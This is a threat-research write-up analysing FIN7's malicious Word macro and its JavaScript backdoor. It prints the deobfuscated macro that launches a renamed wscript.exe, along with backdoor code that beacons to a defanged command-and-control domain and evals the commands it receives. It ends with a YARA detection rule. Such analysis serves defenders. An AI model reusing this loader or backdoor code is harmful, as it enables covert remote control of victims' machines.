Let’s Learn: In-Depth Review of FIN7 VBA Macro & Lightweight JavaScript Backdoor

Goal: Review, analyze, and practice extracting FIN7 JavaScript backdoor from malicious Microsoft Office documents.


Microsoft Office First-Stage VBA Macro Documents:
SHA256: 6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82
SHA256: f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8
SHA256: 63ff5d9c9b33512f0d9f8d153c02065c637b7da48d2c0b6f7114deae6f6d88aa 
Obfuscated Lightweight JavaScript Backdoor
Deobfuscated Lightweight JavaScript Backdoor

I. Background & Summary
II. Malicious Microsoft Word Document First-Stage Macro
III. Deobfuscated Lightweight JavaScript Backdoor
A. “main”
B. “crypt_controller”
C. “id”
D. “get_path”
E. “send_data”
IV. Yara Signature: Possible FIN7 First-Stage Microsoft Word Document
I. Background & Summary
FIN7 group remains to be one of the most formidable financially
motivated group, which is not only known for the large point-of-sale
breaches (including the alleged latest one of Burgerville 
restaurant point-of-sale network) but also for its stealthy
persistence and sophisticated and persistent approach. 
I highly recommend reading Morphisec’s blog titled “FIN7 Not Finished – Morphisec Spots New Campaign,” which details one of the latest FIN7 initial Word documents first-stage loaders with the deployed JavaScript backdoor.
It is also notable that they deploy lightweight JavaScript backdoor with communication over HTTPS mimicking Content Delivery Network (CDN) domains with the added search engine strings such as Google and ing creating bing-cdn[.]com, googleapi-cdn[.]com, & cisco-cdn[.]com.
Additionally, they still leverage JavaScript backdoor via renamed “wscript.exe” as “mses.exe” with the file itself called “errors.txt.”
In their backdoor code, they have the following hardcoded groups:

Hardcoded Groups

The following MITREEnterprise Attack – Attack Patterns are observed with the FIN7 campaign:

+ Spearphishing Attachment - T1193
+ Scripting - T1064
+ Masquerading - T1036
+ Deobfuscate/Decode Files or Information - T1140
+ Data Obfuscation - T1001

I. Malicious Microsoft Word Document First-Stage Macro
Essentially, the Microsoft Word document loaders do not rely on any on exploits but simply require a social-engineering trick to “Enable Macros.” Notably, to avoid process whitelisting of wscript, the macro logic copies the original JavaScript execution engine “wscript.exe” as “mses.exe” in %LOCALAPPDATA% and leverages a possible anti-analysis routine of checking the system drive size via GetDrive.TotalSize of more than 2456 bytes to possibly thwart anti-sandbox check.

The actual obfuscated Javascript backdoor is stored in UserForm object, which is also written to a disc as “errors.txt” in “%TEMP%”. The final execution of the backdoor is performed via this following command:

%LOCALAPPDATA%\mses.exe //b /e:jscript %temp%\errors.txt

Once it is done, the document macro runs a message box displaying “Decryption error” via MsgBox(“Decryption error”).

It is notable that the decryption message is also part of the document social engineering ruse “to decrypt document” as well as the subsequent “Decryption Error” coupled with the execution of “errors.txt” creates a plausible yet well-thought scenario of allowing possible “error” paths due to document errors.

The full cleaned macro code is as follows:

/////// FIN7 Deobfuscated Word Macro //////////
Set CreateObjectScripting = CreateObject("Scripting.FileSystemObject")
Set CreateObjectWScriptShell = CreateObject("WScript.Shell")
SystemDrivePath = CreateObjectWScriptShell.ExpandEnvironmentStrings("%SystemDrive%")
Set GetDrivePath = CreateObjectScripting.GetDrive(SystemDrivePath)
DriveSize = GetDrivePath.TotalSize
If DriveSize > 2456 Then
TEMPPathErrorsTxt = CreateObjectWScriptShell.ExpandEnvironmentStrings("%temp%") \
& "\errors.txt"
FormCaptionHolder = UserForm1.NameForm.Caption
Set CreateFileHolder = CreateObjectScripting.CreateTextFile(TEMPPathErrorsTxt)
CreateFileHolder.WriteLine FormCaptionHolder
GetPathtoMsesExe = CreateObjectWScriptShell.ExpandEnvironmentStrings("%LOCALAPPDATA%") & \
FileCopy "C:\\Windows\\System32\\wscript.exe", GetPathtoMsesExe
Shell "%LOCALAPPDATA%\mses.exe" & " //b /e:jscript " & "%temp%\errors.txt", False

Additionally, the second document contains the same exact reference to mysterious “cesar.exe” as detailed by Nick Carr.

III. Deobfuscated Lightweight JavaScript Backdoor
The JavaScript contains five functions as follows:

Function Name Description
“main” main function
“id” generate unique machine ID based on MAC address and DNS domain
“crypt_controller” control decryptor and encryptor function
“get_path” build path URL based on pre-configured paths
“send_data” send data request to the server
A. “main”
The “main” function initiates a variable “ncommand”, which holds the “send_data” function with the arguments
“request” and “action=get_command”, true).
/////// JS Backdroor "main" Function /////////
function main() {
var ncommand = "";
ncommand = send_data("request", "action=get_command", true);
if (ncommand !== "no") {
try {
eval(crypt_controller("decrypt", ncommand));
} catch (e) {}
var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);

If the ncommand does not equal “no,” it runs an eval command via “crypt_controller” functions with the arguments “decrypt” and ncommand.
The backdoor leverages the variables “random_knock,” which equals 120000 leveraging random * 16001 – 5000, which is used with the WScript.Sleep command then it runs the main command again.
The unique machine is generated via the command running Date with the getUTCMilliseconds() parameters. It also deletes itself via GetFile.Type == “Application and length == 10 and deleteFile via ActiveOXbject.
B. “crypt_controller”

The crypt_controller function accepts two parameters of type and request.
// JS Backdroor "crypt_controller" Function //
function crypt_controller(type, request) {
var encryption_key = "";
if (type === "decrypt") {
request = decodeURIComponent(request);
var request_split = request.split(")*(");
request = request_split[0];
encryption_key = request_split[1].split("");
} else {
encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split("");
var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ encryption_key[i % encryption_key.length].charCodeAt(0);
var result_string = output.join("");
if (type === "encrypt") {
result_string = result_string + ")*(" + encryption_key.join("");
result_string = encodeURIComponent(result_string);
return result_string;
a. If type parameter equals “decrypt”, the request is processed via decodeURIComponent splitting the request with separator “)*(” and then retrieving encryption_key (second element[1]) from split request, if no encryption_key split it pulls it as a random value via (Math.floor(Math.random() * 9000) + 1000).toString().split(“”);.
The decoding routine is a simple XOR loop decoding the content as follows joining the result_string via .join command.

var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ \
encryption_key[i % encryption_key.length].charCodeAt(0);

b. If type parameter equals “encrypt”,  the result_string is joined with “)*(” and passed encodeURIComponent.
C. “id”

The ID function executes a simple WMI query as follows retrieving and parsing for MAC address and DNS domain:

"select * from Win32_NetworkAdapterConfiguration where ipenabled = true"
// JS Backdroor "id" Function //
function id() {
var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration \
where ipenabled = true");
var lItems = new Enumerator(lrequest);
for (; !lItems.atEnd(); lItems.moveNext()) {
var mac = lItems.item().macaddress;
var dns_hostname = lItems.item().DNSHostName;
if (typeof mac === "string" && mac.length > 1) {
if (typeof dns_hostname !== "string" && dns_hostname.length < 1) {
dns_hostname = "Unknown";
} else {
for (var i = 0; i < dns_hostname.length; i++) {
if (dns_hostname.charAt(i) > "z") {
dns_hostname = dns_hostname.substr(0, i) + "_" + \
dns_hostname.substr(i + 1);
return mac + "_" + dns_hostname;
Finally, the value is concatenated in the format of mac + “_” + dns_hostname.
D. “get_path”
The function takes no parameters and generates a request to the server with the path that consists with the random path from “pathes” array and the random file from files as follows:
// JS Backdroor "get_path" Function //
function get_path() {
var pathes = ["images", "image", "content", "fetch", "cdn"];
var files = ["create_logo", "get_image", "create_image", \
"show_ico", "show_png", "show_jpg"];
var path = pathes[Math.floor(Math.random() * pathes.length)] + "/" \
+ files[Math.floor(Math.random() * files.length)];
return "hxxps://bing-cdn[.]com/" + path;
For example,
E. “send_data”

The function accepts 3 parameters such as type, data, and boolean parameter crypt.
// JS Backdroor "send_data" Function //
function send_data(type, data, crypt) {
try {
var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP");
if (type === "request") {
http_object.open("POST", get_path() + "?request=page", false);
data = "ytqikulpemsi=" + \
crypt_controller("encrypt", "group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=" \
+ uniq_id + "&id=" + id() + "&" + data);
} else {
http_object.open("POST", get_path() + "?request=content&id=" + uniq_id, false);
if (crypt) {
data = crypt_controller("encrypt", data);
http_object.setRequestHeader("User-Agent", \
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/50.0");
http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
http_object.setOption(2, 13056);
return http_object.responseText;
} catch (e) {
return "no";
a. if type === “request”, the backdoor forms the POST request as  with get_path ending with “?request=page.” The data consists of the hardcoded value “ytqikulpemsi=” with crypt_controller function with parameters “encrypt” and the following URI “group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=” with the “uniq_id” + “&id=” + the ID return function + “&” + data);
http_object.open(“POST”, get_path() + “?request=content&id=” + uniq_id, false);
This function is used with the main with the parameter “action=get_command”

An example of the decoded full path is as follows:

An example of the encoded data (four-digit XOR encryption key):

IV. Yara Signature:
rule apt_win32_possible_fin7_doc {
description = "Detects possible FIN7 first-stage initial doc"
author = "@VK_Intel"
date = "2018-11-23"
hash1 = "f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8"
hash2 = "6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82"
$font = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil MS Sans S" fullword wide
$userform = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1 " fullword ascii
$uniq_string = "C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" fullword ascii

$x0 = "C:\\Users\\Administrator\\Downloads\\InkEd.dll" fullword ascii
$x1 = "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\2\\Word8.0\\INKEDLib.exd" fullword ascii
$x2 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" fullword ascii
uint16(0) == 0xcfd0 and
filesize < 2000KB and ( 1 of ($x*) and $font and ( $uniq_string or $userform ) )
or ( all of them )

IV. Indicators of Compromise: Domains